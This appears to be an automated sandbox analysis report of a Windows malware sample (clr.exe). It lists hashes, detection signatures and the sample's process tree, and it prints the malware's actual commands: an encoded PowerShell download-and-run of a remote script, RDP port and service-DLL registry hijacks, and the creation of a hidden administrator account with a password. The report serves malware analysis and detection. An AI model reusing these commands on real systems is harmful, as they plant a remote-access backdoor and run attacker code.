Analysis

  • max time kernel
    123s
  • max time network
    123s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    27-04-2021 14:25

General

  • Target

    clr.exe

  • Size

    6.0MB

  • MD5

    1e9f45329ffece31382bb884367f58df

  • SHA1

    52d3d55364d8c4d350231d38bfe6eb156cf8473f

  • SHA256

    8779c8ac97c45254bc243e2ee79b436d1a96bc56885dcaa72c4837790b2071fc

  • SHA512

    12272d5f20c42764992420aa1a178b16d7ef1873f2c9619bd8ac16e0eb9a0067a08a9d70863c1d3e95dd4a2aa19c081ae0baabaf3431f5068ea7191c8f4d6c62

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\clr.exe
    "C:\Users\Admin\AppData\Local\Temp\clr.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3896
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:180
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kfjojb0z\kfjojb0z.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1116
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES450D.tmp" "c:\Users\Admin\AppData\Local\Temp\kfjojb0z\CSCC78E5CE9C19E4645A123A3B66AD516A1.TMP"
          4⤵
            PID:2056
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2892
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:156
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1652
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:4000
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:2732
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:3996
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2108
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:3460
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3760
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3744
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2124
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:2560
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3272
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1020
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2720
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:3548
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:2732
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:304
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /C timeout -n t& del C:\Users\Admin\AppData\Local\Temp\clr.exe
                      2⤵
                        PID:1020
                        • C:\Windows\system32\timeout.exe
                          timeout -n t
                          3⤵
                          • Delays execution with timeout.exe
                          PID:1820
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc 000000 /del
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3812
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc 000000 /del
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3856
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                          3⤵
                            PID:3056
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe user WgaUtilAcc zGPS8iF9 /add
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2280
                        • C:\Windows\system32\net.exe
                          net.exe user WgaUtilAcc zGPS8iF9 /add
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2144
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 user WgaUtilAcc zGPS8iF9 /add
                            3⤵
                              PID:2056
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2468
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4012
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                              3⤵
                                PID:2104
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2276
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3756
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
                                3⤵
                                  PID:2716
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2500
                              • C:\Windows\system32\net.exe
                                net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2228
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                  3⤵
                                    PID:2072
                              • C:\Windows\System32\cmd.exe
                                cmd /C net.exe user WgaUtilAcc zGPS8iF9
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:4008
                                • C:\Windows\system32\net.exe
                                  net.exe user WgaUtilAcc zGPS8iF9
                                  2⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:3976
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc zGPS8iF9
                                    3⤵
                                      PID:2128
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C wmic path win32_VideoController get name
                                  1⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:2196
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic path win32_VideoController get name
                                    2⤵
                                      PID:3312
                                  • C:\Windows\System32\cmd.exe
                                    cmd.exe /C wmic CPU get NAME
                                    1⤵
                                      PID:2124
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic CPU get NAME
                                        2⤵
                                          PID:1120
                                      • C:\Windows\System32\cmd.exe
                                        cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                        1⤵
                                          PID:3748
                                          • C:\Windows\system32\cmd.exe
                                            cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            2⤵
                                              PID:3744
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                3⤵
                                                • Blocklisted process makes network request
                                                • Drops file in Program Files directory
                                                • Drops file in Windows directory
                                                • Modifies data under HKEY_USERS
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:4008

                                          Network

                                          MITRE ATT&CK Enterprise v6

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • memory/156-203-0x00000267D1E06000-0x00000267D1E08000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/156-205-0x00000267D1E08000-0x00000267D1E0A000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/156-202-0x00000267D1E03000-0x00000267D1E05000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/156-201-0x00000267D1E00000-0x00000267D1E02000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/180-128-0x000001FEC21B0000-0x000001FEC21B1000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/180-151-0x000001FEC26D0000-0x000001FEC26D1000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/180-136-0x000001FEA9D43000-0x000001FEA9D45000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/180-137-0x000001FEA9D46000-0x000001FEA9D48000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/180-134-0x000001FEA9D40000-0x000001FEA9D42000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/180-145-0x000001FEA9D70000-0x000001FEA9D71000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/180-125-0x000001FEA9D10000-0x000001FEA9D11000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/180-152-0x000001FEC2A60000-0x000001FEC2A61000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/180-210-0x000001FEA9D48000-0x000001FEA9D49000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/1652-209-0x0000019551138000-0x000001955113A000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/1652-206-0x0000019551130000-0x0000019551132000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/1652-208-0x0000019551136000-0x0000019551138000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/1652-207-0x0000019551133000-0x0000019551135000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/2892-169-0x0000025876883000-0x0000025876885000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/2892-200-0x0000025876888000-0x000002587688A000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/2892-168-0x0000025876880000-0x0000025876882000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/2892-193-0x0000025876886000-0x0000025876888000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/3896-116-0x000001DCC6360000-0x000001DCC6362000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/3896-119-0x000001DCC6366000-0x000001DCC6367000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/3896-114-0x000001DCC67A0000-0x000001DCC6BC1000-memory.dmp

                                            Filesize

                                            4.1MB

                                          • memory/3896-117-0x000001DCC6363000-0x000001DCC6365000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/3896-118-0x000001DCC6365000-0x000001DCC6366000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/4008-242-0x000001EC3AD90000-0x000001EC3AD92000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/4008-245-0x000001EC3AD98000-0x000001EC3AD99000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/4008-244-0x000001EC3AD96000-0x000001EC3AD98000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/4008-243-0x000001EC3AD93000-0x000001EC3AD95000-memory.dmp

                                            Filesize

                                            8KB